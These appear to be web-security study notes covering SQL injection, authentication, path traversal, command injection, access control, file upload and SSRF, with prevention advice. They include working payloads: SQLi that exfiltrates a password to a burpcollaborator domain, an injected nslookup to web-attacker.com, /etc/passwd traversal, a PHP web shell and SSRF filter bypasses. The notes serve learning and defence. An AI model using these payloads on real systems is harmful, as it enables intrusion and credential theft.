Contents

Server-side topics

1. SQL injection

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.

Some common SQL injection examples include:

- Retrieving hidden data, where you can modify a SQL query to return additional results.

Eg.: https://insecure-website.com/products?category=Gifts'--

This results in the SQL query:

```
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
```

https://insecure-website.com/products?category=Gifts'+OR+1=1--

This results in the SQL query:

```
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
```

- Subverting application logic, where you can change a query to interfere with the application's logic.

  SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

- UNION attacks, where you can retrieve data from different database tables.

  Input: ' UNION SELECT username, password FROM users—

  SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Determining the number of columns required

Method 1:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

etc.

Error: The ORDER BY position number 3 is out of range of the number of items in the select list.

Method 2:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

etc.

Database-specific syntax

' UNION SELECT NULL FROM DUAL—

Finding columns with a useful data type

' UNION SELECT 'a',NULL,NULL,NULL--

```
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--

' UNION SELECT NULL,NULL,NULL,'a'—

Error: Conversion failed when converting the varchar value 'a' to data type int.
```

Retrieving multiple values within a single column

```
' UNION SELECT username || '~' || password FROM users--
```

- Blind SQL injection, where the results of a query you control are not returned in the application's responses.

  For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. You can determine the password for this user by sending a series of inputs to test the password one character at a time.

  To do this, start with the following input:

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username =
'Administrator'), 1, 1) > 'm
```

This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than m.

Next, we send the following input:

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username =
'Administrator'), 1, 1) > '
```

Eventually, we send the following input, which returns the "Welcome back" message, thereby confirming that the first character of the password is s:

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username =
'Administrator'), 1, 1) = 's
```

Error-based SQL injection

Error-based SQL injection refers to cases where you're able to use error messages to either extract or infer sensitive data from the database, even in blind contexts. The possibilities depend on the configuration of the database and the types of errors you're able to trigger:

Exploiting blind SQL injection by triggering conditional errors

```
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
```

```
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true:

With the first input, the CASE expression evaluates to 'a', which does not cause any error.

With the second input, it evaluates to 1/0, which causes a divide-by-zero error.

If the error causes a difference in the application's HTTP response, you can use this to determine whether the injected condition is true.

Using this technique, you can retrieve data by testing one character at a time:

```
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password,
1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
```

Extracting sensitive data via verbose SQL error messages

Misconfiguration of the database sometimes results in verbose error messages. These can provide information that may be useful to an attacker. For example, consider the following error message, which occurs after injecting a single quote into an id parameter:

```
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id
= '". Expected char
```

Exploiting blind SQL injection by triggering time delays

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays depending on whether an injected condition is true or false. As SQL queries

are normally processed synchronously by the application, delaying the execution of a SQL query also delays the HTTP response. This allows you to determine the truth of the injected condition based on the time taken to receive the HTTP response.

```
'; IF (1=2) WAITFOR DELAY '0:0:10'--
```

```
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

- The first of these inputs does not trigger a delay, because the condition 1=2 is false.
- The second input triggers a delay of 10 seconds, because the condition 1=1 is true.

Using this technique, we can retrieve data by testing one character at a time:

```
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND
SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'—
```

Exploiting blind SQL injection using out-of-band (OAST) techniques

An application might carry out the same SQL query as the previous example but do it asynchronously. The application continues processing the user's request in the original thread, and uses another thread to execute a SQL query using the tracking cookie. The query is still vulnerable to SQL injection, but none of the techniques described so far will work. The application's response doesn't depend on the query returning any data, a database error occurring, or on the time taken to execute the query.

A variety of network protocols can be used for this purpose, but typically the most effective is DNS (domain name service). Many production networks allow free egress of DNS queries, because they're essential for the normal operation of production systems.

The techniques for triggering a DNS query are specific to the type of database being used. For example, the following input on Microsoft SQL Server can be used to cause a DNS lookup on a specified domain:

```
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
```

This causes the database to perform a lookup for the following domain:

```
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
```

You can use Burp Collaborator to generate a unique subdomain and poll the Collaborator server to confirm when any DNS lookups occur.

Having confirmed a way to trigger out-of-band interactions, you can then use the out-of-band channel to exfiltrate data from the vulnerable application. For example:

```
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
```

This input reads the password for the Administrator user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This lookup allows you to view the captured password:

```
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
```

Second-order SQL injection

First-order SQL injection occurs when the application processes user input from an HTTP request and incorporates the input into a SQL query in an unsafe way.

Second-order SQL injection occurs when the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability occurs at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way. For this reason, second-order SQL injection is also known as stored SQL injection.

Examining the database

https://portswigger.net/web-security/sql-injection/cheat-sheet

SQL injection in different contexts

For example, the following XML-based SQL injection uses an XML escape sequence to encode the S character in SELECT:

```
<stockCheck>
```

```
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>
```

How to prevent SQL injection

You can prevent most instances of SQL injection using parameterized queries instead of string concatenation within the query. These parameterized queries are also know as "prepared statements".

The following code is vulnerable to SQL injection because the user input is concatenated directly into the query:

```
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
```

You can rewrite this code in a way that prevents the user input from interfering with the query structure:

```
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products
WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
```

https://portswigger.net/burp/vulnerability-scanner

2. Authentication vulnerabilities

Authentication vulnerabilities can allow attackers to gain access to sensitive data and functionality.

How do authentication vulnerabilities arise?

Most vulnerabilities in authentication mechanisms occur in one of two ways:

- The authentication mechanisms are weak because they fail to adequately protect against brute-force attacks.
- Logic flaws or poor coding in the implementation allow the authentication mechanisms to be bypassed entirely by an attacker. This is sometimes called "broken authentication".

A. Vulnerabilities in password-based login

Brute-force attacks

Username enumeration

Username enumeration is when an attacker is able to observe changes in the website's behavior in order to identify whether a given username is valid.

Flawed brute-force protection

- Locking the account that the remote user is trying to access if they make too many failed login attempts
- Blocking the remote user's IP address if they make too many login attempts in quick succession

Account locking

One way in which websites try to prevent brute-forcing is to lock the account if certain suspicious criteria are met, usually a set number of failed login attempts. Just as with normal login errors, responses from the server indicating that an account is locked can also help an attacker to enumerate usernames.

User rate limiting

Another way websites try to prevent brute-force attacks is through user rate limiting. In this case, making too many login requests within a short period of time causes your IP address to be blocked. Typically, the IP can only be unblocked in one of the following ways:

- Automatically after a certain period of time has elapsed

- Manually by an administrator
- Manually by the user after successfully completing a CAPTCHA

B. Vulnerabilities in multi-factor authentication

Bypassing two-factor authentication

If the user is first prompted to enter a password, and then prompted to enter a verification code on a separate page, the user is effectively in a "logged in" state before they have entered the verification code. In this case, it is worth testing to see if you can directly skip to "logged-in only" pages after completing the first authentication step. Occasionally, you will find that a website doesn't actually check whether or not you completed the second step before loading the page.

Flawed two-factor verification logic

Sometimes flawed logic in two-factor authentication means that after a user has completed the initial login step, the website doesn't adequately verify that the same user is completing the second step.

For example, the user logs in with their normal credentials in the first step as follows:

```
POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=carlos&password=qwerty
```

They are then assigned a cookie that relates to their account, before being taken to the second step of the login process:

```
HTTP/1.1 200 OK
Set-Cookie: account=carlos
```

```
GET /login-steps/second HTTP/1.1
Cookie: account=carlos
```

When submitting the verification code, the request uses this cookie to determine which account the user is trying to access:

```
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=carlos
...
verification-code=123456
```

In this case, an attacker could log in using their own credentials but then change the value of the account cookie to any arbitrary username when submitting the verification code.

```
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456
```

This is extremely dangerous if the attacker is then able to brute-force the verification code as it would allow them to log in to arbitrary users' accounts based entirely on their username. They would never even need to know the user's password.

Brute-forcing 2FA verification codes

As with passwords, websites need to take steps to prevent brute-forcing of the 2FA verification code. This is especially important because the code is often a simple 4 or 6-digit number. Without adequate brute-force protection, cracking such a code is trivial.

Some websites attempt to prevent this by automatically logging a user out if they enter a certain number of incorrect verification codes. This is ineffective in practice because an advanced attacker can even automate this multi-step process by creating macros

(https://portswigger.net/burp/documentation/desktop/settings/sessions#macros) for Burp Intruder. The Turbo Intruder extension can also be used for this purpose.

C.Vulnerabilities in other authentication mechanisms

Keeping users logged in

A common feature is the option to stay logged in even after closing a browser session. This is usually a simple checkbox labeled something like "Remember me" or "Keep me logged in". -> Using cookies

Resetting user passwords

Sending passwords by email

Email is also generally not considered secure given that inboxes are both persistent and not really designed for secure storage of confidential information.

Resetting passwords using a URL

A more robust method of resetting passwords is to send a unique URL to users that takes them to a password reset page. Less secure implementations of this method use a URL with an easily guessable parameter to identify which account is being reset, for example:

```
http://vulnerable-website.com/reset-password?user=victim-user
```

In this example, an attacker could change the user parameter to refer to any username they have identified. They would then be taken straight to a page where they can potentially set a new password for this arbitrary user.

A better implementation of this process is to generate a high-entropy, hard-to-guess token and create the reset URL based on that. In the best case scenario, this URL should provide no hints about which user's password is being reset.

```
http://vulnerable-website.com/reset-
password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8
```

Password reset poisoning

Password reset poisoning is a technique whereby an attacker manipulates a vulnerable website into generating a password reset link pointing to a domain under their control. This behavior can be leveraged to steal the secret tokens required to reset arbitrary users' passwords and, ultimately, compromise their accounts.

https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning

Preventing attacks on your own authentication mechanisms

https://portswigger.net/web-security/authentication/securing

3. Path traversal

https://insecure-website.com/loadImage?filename=../../../etc/passwd

Common obstacles to exploiting path traversal vulnerabilities

1. You might be able to use an absolute path from the filesystem root, such as filename=/etc/passwd, to directly reference a file without using any traversal sequences
2. You might be able to use nested traversal sequences, such as ....// or ....\/. These revert to simple traversal sequences when the inner sequence is stripped.
3. In some contexts, such as in a URL path or the filename parameter of a multipart/form-data request, web servers may strip any directory traversal sequences before passing your input to the application. You can sometimes bypass this kind of sanitization by URL encoding, or even double URL encoding, the ../ characters. This results in %2e%2e%2f and %252e%252e%252f respectively. Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f, may also work
4. An application may require the user-supplied filename to end with an expected file extension, such as .png. In this case, it might be possible to use a null byte to effectively terminate the file path before the required extension. For example: filename=../../../etc/passwd%00.png

How to prevent a path traversal attack

The most effective way to prevent path traversal vulnerabilities is to avoid passing user-supplied input to filesystem APIs altogether. Many application functions that do this can be rewritten to deliver the same behavior in a safer way.

- Validate the user input before processing it. Ideally, compare the user input with a whitelist of permitted values. If that isn't possible, verify that the input contains only permitted content, such as alphanumeric characters only.
- After validating the supplied input, append the input to the base directory and use a platform filesystem API to canonicalize the path. Verify that the canonicalized path starts with the expected base directory

4. OS command injection

OS command injection is also known as shell injection. It allows an attacker to execute operating system (OS) commands on the server that is running an application, and typically fully compromise the application and its data.

https://insecure-website.com/stockStatus?productID=381&storeID=29 => stockreport.pl 381 29

& echo aiwefwlguh & -> submitted in the productID parameter, the command executed by the application is =>

stockreport.pl & echo aiwefwlguh & 29

The output returned to the user is:

Error - productID was not provided aiwefwlguh 29: command not found

Blind OS command injection vulnerabilities

Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required.

Detecting blind OS command injection using time delays

& ping -c 10 127.0.0.1 &

Exploiting blind OS command injection by redirecting output

& whoami > /var/www/static/whoami.txt &

You can then use the browser to fetch https://vulnerable-website.com/whoami.txt to retrieve the file, and view the output from the injected command.

Exploiting blind OS command injection using out-of-band (OAST) techniques

You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques. For example:

& nslookup kgji2ohoyw.web-attacker.com &

This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor to see if the lookup happens, to confirm if the command was successfully injected.

Ways of injecting OS commands

- &
- &&
- |
- ||

The following command separators work only on Unix-based systems:

- ;
- Newline (0x0a or \n)

How to prevent OS command injection attacks

- The most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. In almost all cases, there are different ways to implement the required functionality using safer platform APIs.

If you have to call out to OS commands with user-supplied input, then you must perform strong input validation. Some examples of effective validation include:

- Validating against a whitelist of permitted values.
- Validating that the input is a number.
- Validating that the input contains only alphanumeric characters, no other syntax or whitespace.

Never attempt to sanitize input by escaping shell metacharacters. In practice, this is just too error-prone and vulnerable to being bypassed by a skilled attacker.

5. Business logic vulnerabilities

What are business logic vulnerabilities?

Business logic vulnerabilities are flaws in the design and implementation of an application that allow an attacker to elicit unintended behavior.

Logic-based vulnerabilities can be extremely diverse and are often unique to the application and its specific functionality. Identifying them often requires a certain amount of human knowledge, such as an understanding of the business domain or what goals an attacker might have in a given context. This makes them difficult to detect using automated vulnerability scanners. As a result, logic flaws are a great target for bug bounty hunters and manual testers in general.

Examples: https://portswigger.net/web-security/logic-flaws/examples

How do business logic vulnerabilities arise?

Business logic vulnerabilities often arise because the design and development teams make flawed assumptions about how users will interact with the application. These bad assumptions can lead to inadequate validation of user input.

How to prevent business logic vulnerabilities

In short, the keys to preventing business logic vulnerabilities are to:

- Make sure developers and testers understand the domain that the application serves
- Avoid making implicit assumptions about user behavior or the behavior of other parts of the application

To facilitate this, the development team should adhere to the following best practices wherever possible:

- Maintain clear design documents and data flows for all transactions and workflows, noting any assumptions that are made at each stage.
- Write code as clearly as possible. If it's difficult to understand what is supposed to happen, it will be difficult to spot any logic flaws. Ideally, well-written code shouldn't need documentation to understand it. In unavoidably complex cases, producing clear documentation is crucial to ensure that other developers and testers know what assumptions are being made and exactly what the expected behavior is.
- Note any references to other code that uses each component. Think about any side-effects of these dependencies if a malicious party were to manipulate them in an unusual way.

6. Information disclosure vulnerabilities

What is information disclosure?

Information disclosure, also known as information leakage, is when a website unintentionally reveals sensitive information to its users:

- Data about other users, such as usernames or financial information

- Sensitive commercial or business data
- Technical details about the website and its infrastructure

behavior.

Examples of information disclosure

Some basic examples of information disclosure are as follows:

- Revealing the names of hidden directories, their structure, and their contents via a robots.txt file or directory listing
- Providing access to source code files via temporary backups
- Explicitly mentioning database table or column names in error messages
- Unnecessarily exposing highly sensitive information, such as credit card details
- Hard-coding API keys, IP addresses, database credentials, and so on in the source code
- Hinting at the existence or absence of resources, usernames, and so on via subtle differences in application behavior

How do information disclosure vulnerabilities arise?

Information disclosure vulnerabilities can arise in countless different ways, but these can broadly be categorized as follows:

- **Failure to remove internal content from public content**.
- **Insecure configuration of the website and related technologies**.
- **Flawed design and behavior of the application**

How to assess the severity of information disclosure vulnerabilities

For example, the knowledge that a website is using a particular framework version is of limited use if that version is fully patched. However, this information becomes significant when the website is using an old version that contains a known vulnerability. In this case, performing a devastating attack could be as simple as applying a publicly documented exploit.

How to prevent information disclosure vulnerabilities

Audit any code for potential information disclosure as part of your QA or build processes.

Use generic error messages as much as possible.

Make sure you fully understand the configuration settings, and security implications, of any third-party technology that you implement.

Make sure you fully understand the configuration settings, and security implications, of any third-party technology that you implement.

7. Access control vulnerabilities and privilege escalation

What is access control?

Access control is the application of constraints on who or what is authorized to perform actions or access resources. In the context of web applications, access control is dependent on authentication and session management:

- **Authentication** confirms that the user is who they say they are.
- **Session management** identifies which subsequent HTTP requests are being made by that same user.
- **Access control** determines whether the user is allowed to carry out the action that they are attempting to perform.

Access control design decisions have to be made by humans so the potential for errors is high.

Vertical access controls

Vertical access controls are mechanisms that restrict access to sensitive functionality to specific types of users.

Horizontal access controls

Horizontal access controls are mechanisms that restrict access to resources to specific users.

Context-dependent access controls

Context-dependent access controls restrict access to functionality and resources based upon the state of the application or the user's interaction with it.

Examples of broken access controls

Vertical privilege escalation

If a user can gain access to functionality that they are not permitted to access then this is vertical privilege escalation.

Unprotected functionality

Imagine an application that hosts administrative functions at the following URL:

https://insecure-website.com/administrator-panel-yb556

This might not be directly guessable by an attacker. However, the application might still leak the URL to users. The URL might be disclosed in JavaScript that constructs the user interface based on the user's role:

<script> var isAdmin = false; if (isAdmin) { ... var adminPanelTag = document.createElement('a'); adminPanelTag.setAttribute('https://insecure-website.com/administrator-panel-yb556'); adminPanelTag.innerText = 'Admin panel'; ... } </script>

This script adds a link to the user's UI if they are an admin user. However, the script containing the URL is visible to all users regardless of their role.

Parameter-based access control methods

Some applications determine the user's access rights or role at login, and then store this information in a user-controllable location. This could be:

- A hidden field.
- A cookie.
- A preset query string parameter.

The application makes access control decisions based on the submitted value. For example:

https://insecure-website.com/login/home.jsp?admin=true

https://insecure-website.com/login/home.jsp?role=1

This approach is insecure because a user can modify the value and access functionality they're not authorized to, such as administrative functions.

Broken access control resulting from platform misconfiguration

Some applications enforce access controls at the platform layer. they do this by restricting access to specific URLs and HTTP methods based on the user's role. For example, an application might configure a rule as follows:

DENY: POST, /admin/deleteUser, managers

This rule denies access to the POST method on the URL /admin/deleteUser, for users in the managers group. Various things can go wrong in this situation, leading to access control bypasses.

Some application frameworks support various non-standard HTTP headers that can be used to override the URL in the original request, such as X-Original-URL and X-Rewrite-URL. If a website uses rigorous front-end controls to restrict access based on the URL, but the application allows the URL to be overridden via a request header, then it might be possible to bypass the access controls using a request like the following:

POST / HTTP/1.1 X-Original-URL: /admin/deleteUser ...

Broken access control resulting from URL-matching discrepancies

Websites can vary in how strictly they match the path of an incoming request to a defined endpoint. For example, they may tolerate inconsistent capitalization, so a request to /ADMIN/DELETEUSER may still be mapped to the /admin/deleteUser endpoint. If the access control mechanism is less tolerant, it may treat these as two different endpoints and fail to enforce the correct restrictions as a result.

Similar discrepancies can arise if developers using the Spring framework have enabled the useSuffixPatternMatch option. This allows paths with an arbitrary file extension to be mapped to an equivalent endpoint with no file extension. In other words, a request to /admin/deleteUser.anything would still match the /admin/deleteUser pattern. Prior to Spring 5.3, this option is enabled by default.

Horizontal privilege escalation

Horizontal privilege escalation attacks may use similar types of exploit methods to vertical privilege escalation. For example, a user might access their own account page using the following URL:

https://insecure-website.com/myaccount?id=123

If an attacker modifies the id parameter value to that of another user, they might gain access to another user's account page, and the associated data and functions.

Horizontal to vertical privilege escalation

https://insecure-website.com/myaccount?id=456

If the target user is an application administrator, then the attacker will gain access to an administrative account page. This page might disclose the administrator's password or provide a means of changing it, or might provide direct access to privileged functionality.

[Insecure direct object references]

Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly.

IDOR vulnerability with direct reference to database objects

Consider a website that uses the following URL to access the customer account page, by retrieving information from the back-end database:

https://insecure-website.com/customer_account?customer_number=132355

Here, the customer number is used directly as a record index in queries that are performed on the back-end database. If no other controls are in place, an attacker can simply modify the customer_number value, bypassing access controls to view the records of other customers. This is an example of an IDOR vulnerability leading to horizontal privilege escalation.

IDOR vulnerability with direct reference to static files

IDOR vulnerabilities often arise when sensitive resources are located in static files on the server-side filesystem. For example, a website might save chat message transcripts to disk using an incrementing filename, and allow users to retrieve these by visiting a URL like the following:

https://insecure-website.com/static/12144.txt

In this situation, an attacker can simply modify the filename to retrieve a transcript created by another user and potentially obtain user credentials and other sensitive data.

Access control vulnerabilities in multi-step processes

1. Load the form that contains details for a specific user.
2. Submit the changes.
3. Review the changes and confirm.

Sometimes, a website will implement rigorous access controls over some of these steps, but ignore others. Imagine a website where access controls are correctly applied to the first and second steps, but not to the third step.

Referer-based access control

Some websites base access controls on the Referer header submitted in the HTTP request. The Referer header can be added to requests by browsers to indicate which page initiated a request.

For example, an application robustly enforces access control over the main administrative page at /admin, but for sub-pages such as /admin/deleteUser only inspects the Referer header. If the Referer header contains the main /admin URL, then the request is allowed.

In this case, the Referer header can be fully controlled by an attacker. This means that they can forge direct requests to sensitive sub-pages by supplying the required Referer header, and gain unauthorized access.

Location-based access control

These access controls can often be circumvented by the use of web proxies, VPNs, or manipulation of client-side geolocation mechanisms.

How to prevent access control vulnerabilities

- Never rely on obfuscation alone for access control.
- Unless a resource is intended to be publicly accessible, deny access by default.
- Wherever possible, use a single application-wide mechanism for enforcing access controls.
- At the code level, make it mandatory for developers to declare the access that is allowed for each resource, and deny access by default.
- Thoroughly audit and test access controls to ensure they work as designed.

8. File upload vulnerabilities

What are file upload vulnerabilities?

File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size.

In the worst case scenario, the file's type isn't validated properly, and the server configuration allows certain types of file (such as .php and .jsp) to be executed as code.

Failing to make sure that the size of the file falls within expected thresholds could also enable a form of denial-of-service (DoS) attack, whereby the attacker fills the available disk space.

How servers handle requests for static files:

 If this file type is non-executable, such as an image or a static HTML page, the server may just send the file's contents to the client in an HTTP response.

 If the file type is executable, such as a PHP file, **and** the server is configured to execute files of this type, it will assign variables based on the headers and parameters in the HTTP request before running the script. The resulting output may then be sent to the client in an HTTP response.

 If the file type is executable, but the server **is not** configured to execute files of this type, it will generally respond with an error. However, in some cases, the contents of the file may still be served to the client as plain text. Such misconfigurations can occasionally be exploited to leak source code and other sensitive information.

Exploiting unrestricted file uploads to deploy a web shell

Web shell

A web shell is a malicious script that enables an attacker to execute arbitrary commands on a remote web server simply by sending HTTP requests to the right endpoint.

A more versatile web shell may look something like this:

```
<?php echo system($_GET['command']); ?>
```

This script enables you to pass an arbitrary system command via a query parameter as follows:

```
GET /example/exploit.php?command=id HTTP/1.1
```

Exploiting flawed validation of file uploads

One way that websites may attempt to validate file uploads is to check that this input-specific Content-Type header matches an expected MIME type. If the server is only expecting image files, for example, it may only allow types like image/jpeg and image/png. Problems can arise when the value of this header is implicitly trusted by the server.

Preventing file execution in user-accessible directories

While it's clearly better to prevent dangerous file types being uploaded in the first place, the second line of defense is to stop the server from executing any scripts that do slip through the net.

As a precaution, servers generally only run scripts whose MIME type they have been explicitly configured to execute.

Insufficient blacklisting of dangerous file types

One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially dangerous file extensions like .php. The practice of blacklisting is inherently flawed as it's difficult to explicitly block every possible file extension that could be used to execute code. Such blacklists can sometimes be bypassed by using lesser known, alternative file extensions that may still be executable, such as .php5, .shtml, and so on.

Overriding the server configuration

Before an Apache server will execute PHP files requested by a client, developers might have to add the following directives to their /etc/apache2/apache2.conf file:

```
LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php
```

Many servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings. Apache servers, for example, will load a directory-specific configuration from a file called .htaccess if one is present.

Similarly, developers can make directory-specific configuration on IIS servers using a web.config file.

Obfuscating file extensions

Even the most exhaustive blacklists can potentially be bypassed using classic obfuscation techniques. Let's say the validation code is case sensitive and fails to recognize that exploit.pHp is in fact a .php file. If the code that subsequently maps the file extension to a MIME type is **not** case sensitive, this discrepancy allows you to sneak malicious PHP files past validation that may eventually be executed by the server.

You can also achieve similar results using the following techniques:

- Provide multiple extensions. Depending on the algorithm used to parse the filename, the following file may be interpreted as either a PHP file or JPG image: exploit.php.jpg
- Add trailing characters. Some components will strip or ignore trailing whitespaces, dots, and suchlike: exploit.php.
- Try using the URL encoding (or double URL encoding) for dots, forward slashes, and backward slashes. If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: exploit%2Ephp
- Add semicolons or URL-encoded null byte characters before the file extension. If validation is written in a high-level language like PHP or Java, but the server processes the file using lower-level functions in C/C++, for example, this can cause discrepancies in what is treated as the end of the filename: exploit.asp;.jpg or exploit.asp%00.jpg
- Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization. Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path.

Flawed validation of the file's contents

Instead of implicitly trusting the Content-Type specified in a request, more secure servers try to verify that the contents of the file actually match what is expected. => For example, JPEG files always begin with the bytes FF D8 FF. Using special tools, such as ExifTool, it can be trivial to create a polyglot JPEG file containing malicious code within its metadata.

Exploiting file upload race conditions

For example, some websites upload the file directly to the main filesystem and then remove it again if it doesn't pass validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for malware. This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.

Race conditions in URL-based file uploads

For example, if the file is loaded into a temporary directory with a randomized name, in theory, it should be impossible for an attacker to exploit any race conditions. If they don't know the name of the directory, they will be unable to request the file in order to trigger its execution. On the other hand, if the randomized directory name is generated using pseudo-random functions like PHP's uniqid(), it can potentially be brute-forced.

To make attacks like this easier, you can try to extend the amount of time taken to process the file, thereby lengthening the window for brute-forcing the directory name. One way of doing

this is by uploading a larger file. If it is processed in chunks, you can potentially take advantage of this by creating a malicious file with the payload at the start, followed by a large number of arbitrary padding bytes.

Exploiting file upload vulnerabilities without remote code execution

Uploading malicious client-side scripts

- potentially use <script> tags to create stored XSS payloads.

Uploading files using PUT

It's worth noting that some web servers may be configured to support PUT requests. If appropriate defenses aren't in place, this can provide an alternative means of uploading malicious files, even when an upload function isn't available via the web interface.

```
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>
```

How to prevent file upload vulnerabilities

In general, the most effective way to protect your own websites from these vulnerabilities is to implement all of the following practices:

- Check the file extension against a whitelist of permitted extensions rather than a blacklist of prohibited ones. It's much easier to guess which extensions you might want to allow than it is to guess which ones an attacker might try to upload.
- Make sure the filename doesn't contain any substrings that may be interpreted as a directory or a traversal sequence (../).
- Rename uploaded files to avoid collisions that may cause existing files to be overwritten.
- Do not upload files to the server's permanent filesystem until they have been fully validated.
- As much as possible, use an established framework for preprocessing file uploads rather than attempting to write your own validation mechanisms.

9. Server-side request forgery (SSRF)

What is SSRF?

Server-side request forgery is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location.

What is the impact of SSRF attacks?

A successful SSRF attack can often result in unauthorized actions or access to data within the organization. This can be in the vulnerable application, or on other back-end systems that the application can communicate with. In some situations, the SSRF vulnerability might allow an attacker to perform arbitrary command execution.

Common SSRF attacks

SSRF attacks against the server

In an SSRF attack against the server, the attacker causes the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This typically involves supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter).

For example, imagine a shopping application that lets the user view whether an item is in stock in a particular store. To provide the stock information, the application must query various back-end REST APIs. It does this by passing the URL to the relevant back-end API endpoint via a front-end HTTP request. When a user views the stock status for an item, their browser makes the following request:

POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

This causes the server to make a request to the specified URL, retrieve the stock status, and return this to the user.

An attacker can modify the request to specify a URL local to the server:

POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin

The server fetches the contents of the /admin URL and returns it to the user.

An attacker can visit the /admin URL, but the administrative functionality is normally only accessible to authenticated users. This means an attacker won't see anything of interest. However, if the request to the /admin URL comes from the local machine, the normal access controls are bypassed. The application grants full access to the administrative functionality, because the request appears to originate from a trusted location.

SSRF attacks against other back-end systems

In the previous example, imagine there is an administrative interface at the back-end URL https://192.168.0.68/admin. An attacker can submit the following request to exploit the SSRF vulnerability, and access the administrative interface:

POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin

Circumventing common SSRF defenses

SSRF with blacklist-based input filters

Some applications block input containing hostnames like 127.0.0.1 and localhost, or sensitive URLs like /admin. In this situation, you can often circumvent the filter using the following techniques:

- Use an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.
- Register your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.
- Obfuscate blocked strings using URL encoding or case variation.
- Provide a URL that you control, which redirects to the target URL. Try using different redirect codes, as well as different protocols for the target URL. For example, switching from an http: to https: URL during the redirect has been shown to bypass some anti-SSRF filters.

SSRF with whitelist-based input filters

Some applications only allow inputs that match, a whitelist of permitted values. The filter may look for a match at the beginning of the input, or contained within in it. You may be able to bypass this filter by exploiting inconsistencies in URL parsing.

The URL specification contains a number of features that are likely to be overlooked when URLs implement ad-hoc parsing and validation using this method:

- You can embed credentials in a URL before the hostname, using the @ character. For example:

  https://expected-host:fakepassword@evil-host

- You can use the # character to indicate a URL fragment. For example:

  https://evil-host#expected-host

